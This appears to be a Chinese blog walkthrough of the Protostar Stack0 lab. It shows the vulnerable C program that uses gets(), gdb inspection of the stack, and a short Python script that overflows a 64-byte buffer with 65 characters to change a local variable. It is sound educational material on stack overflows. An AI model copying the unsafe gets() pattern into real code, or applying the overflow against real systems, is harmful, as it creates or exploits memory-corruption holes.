咱們知道,當程序執行進入一個新的函數時,系統會爲函數在棧上分配一塊空間,用來存儲函數中使用的參數和局部變量信息,用寄存器ESP和EBP指示空間範圍,當從函數返回時,這塊空間也會被拋棄,實際上就是修改ESP和EBP寄存器中的值。這個練習說明了變量在棧的分配狀況,以及怎樣突破ESP和EBP對空間的限制,修改分配空間外的數據,使得函數的執行邏輯發生變化。html
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 5 int main(int argc, char **argv) 6 { 7 volatile int modified; 8 char buffer[64]; 9 10 modified = 0; 11 gets(buffer); 12 13 if(modified != 0) { 14 printf("you have changed the 'modified' variable\n"); 15 } else { 16 printf("Try again?\n"); 17 } 18 }
這個練習只是一個練手,因此很簡單。
程序中包含兩個變量,一個modified,被聲明爲volatile,這個標識符表示每次使用modified變量都從內存中讀取值,而不是使用cache中保存的值;還有一個變量buffer,佔用64個字節的空間。程序使用gets函數讀取用戶輸入,並保存到buffer中,以後根據modified變量的值決定if語句的執行邏輯。
按照正常狀況,因爲modified使用等於0,所以程序應該使用輸出"Try again?",可是因爲在獲取用戶輸入時沒有判斷用戶輸入數據的大小,所以用戶可能會輸入大於64個字節的內容,形成棧溢出。那麼咱們怎麼經過這個棧溢出漏洞修改modified的值,從而修改if語句的執行邏輯呢?python
Stack0在/opt/protostar/bin/文件夾中,直接執行linux
gdb stack0
進入gdb調試,根據源碼,在第13行設置斷點函數
b 13
執行r,使程序繼續執行,並輸入aaaa做爲用戶輸入,程序在第13行暫停,咱們先來看一下EBP和ESP的值spa
(gdb) print $ebp $1 = (void *) 0xbffffcb8 (gdb) print $esp $2 = (void *) 0xbffffc50
咱們能夠輸出這部份內存的內容調試
1 (gdb) x/26xw 0xbffffc50 2 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e 3 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x61616161 4 0xbffffc70: 0xb7fd7f00 0x08049620 0xbffffc88 0x080482e8 5 0xbffffc80: 0xb7ff1040 0x08049620 0xbffffcb8 0x08048469 6 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffcb8 7 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000 8 0xbffffcb0: 0x08048450 0x00000000
能夠看到第二行最後的0x61616161,這就是咱們輸入的aaaa,也是buffer的起始位置。再來看一下變量modified在哪裏code
(gdb) info address modified Symbol "modified" is a local variable at frame offset 92.
我已經把偏移值爲92的位置加紅了,咱們能夠看到buffer的起始位置和modified相差64個字節。在此次執行時咱們只輸入了"aaaa",若是咱們繼續輸入超過64個字節的內容,就會覆蓋modified變量的值,可是要注意不要超過變量modified的位置,不然會覆蓋其餘關鍵信息(例如返回地址),使程序崩潰。htm
那麼exploit都須要作些什麼呢?其實很簡單,就是執行stack0這個程序,並在程序須要用戶輸入時,自動輸入payload,咱們的payload能夠是65個a字符。
由於要在程序執行過程當中處理用戶輸入的問題,因此使用subprocess模塊。
exploit代碼:blog
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack0", stdin=subprocess.PIPE) 3 payload = 'a' * 65 4 proc.communicate(payload)
執行將上述代碼保存爲python文件並運行,就會發現程序輸出已經變成了"you have changed the 'modified' variable"內存